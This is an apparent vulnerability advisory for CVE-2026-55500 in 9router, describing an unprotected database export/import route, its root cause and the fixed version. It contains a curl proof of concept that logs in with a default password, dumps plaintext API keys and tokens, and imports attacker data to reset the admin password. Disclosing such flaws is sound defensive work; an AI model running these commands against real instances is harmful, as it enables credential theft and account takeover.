CVE-2026-55500: 9router Unprotected Database Export/Import Credential Theft
Any authenticated 9router user can dump the entire database in plaintext (all API keys, OAuth tokens, and OIDC secrets) or silently overwrite it with attacker-controlled data, including a new admin pa
The problem
The `/api/settings/database` route in 9router performs full database export (GET) and full database import (POST) with no re-authentication check beyond a valid session JWT.
The `exportDb()` function returns every row from `apiKeys`, `providerConnections`, and `settings`, including plaintext API key values. The `importDb()` function runs a transaction that wipes all tables and replaces them with attacker-supplied JSON, which effectively resets the admin password hash to anything the attacker chooses.
Proof of concept
A working proof-of-concept for CVE-2026-55500 in 9router, with the exact payload below.
# Step 1: log in with the default password to get a JWT cookie
curl -s -c cookies.txt -X POST http://TARGET:20128/api/auth/login \
-H 'Content-Type: application/json' \
-d '{"password":"123456"}'
# Step 2: export the full database (plaintext API keys, OAuth tokens, OIDC secrets)
curl -s -b cookies.txt http://TARGET:20128/api/settings/database
# Step 3: import attacker-controlled database (overwrites all settings + password hash)
curl -s -b cookies.txt -X POST http://TARGET:20128/api/settings/database \
-H 'Content-Type: application/json' \
-d @attacker_db.jsonThe root cause is that `dashboardGuard.js` treats `/api/settings/database` as `ALWAYS_PROTECTED`, meaning it checks for a JWT or CLI token, but does not require password re-confirmation before allowing destructive operations.
On export, `db.all('SELECT * FROM apiKeys')` returns the raw `key` column with no masking. On import, the handler calls `importDb(payload)` directly from the request body without validating or sanitizing any field, running a wipe-then-insert transaction with fully attacker-controlled data.
This is CWE-200 (information exposure) and CWE-862 (missing authorization) combined: a low-privilege session token is sufficient for complete database takeover.
The fix
Upgrade to 9router 0.4.72 or later. The fix requires current-password re-verification before the export or import handler executes, removes plaintext `key` values from the export payload (returning masked values instead), and adds a confirmation step plus audit logging for all import operations.
Reported by decolua.
Related research
- critical · 109router: Unauthenticated CRUD on Provider API and Full API Key Leak
- high · 7.3CVE-2026-55501CVE-2026-55501: 9router Login Rate-Limit Bypass via X-Forwarded-For Spoofing
- high · 8.4CVE-2026-53814CVE-2026-53814: openclaw Hook-Triggered CLI Privilege Escalation to Owner MCP Scope
- high · 7.1CVE-2026-53831: openclaw system.run Safe-Bin Allowlist Bypass via Shell Expansion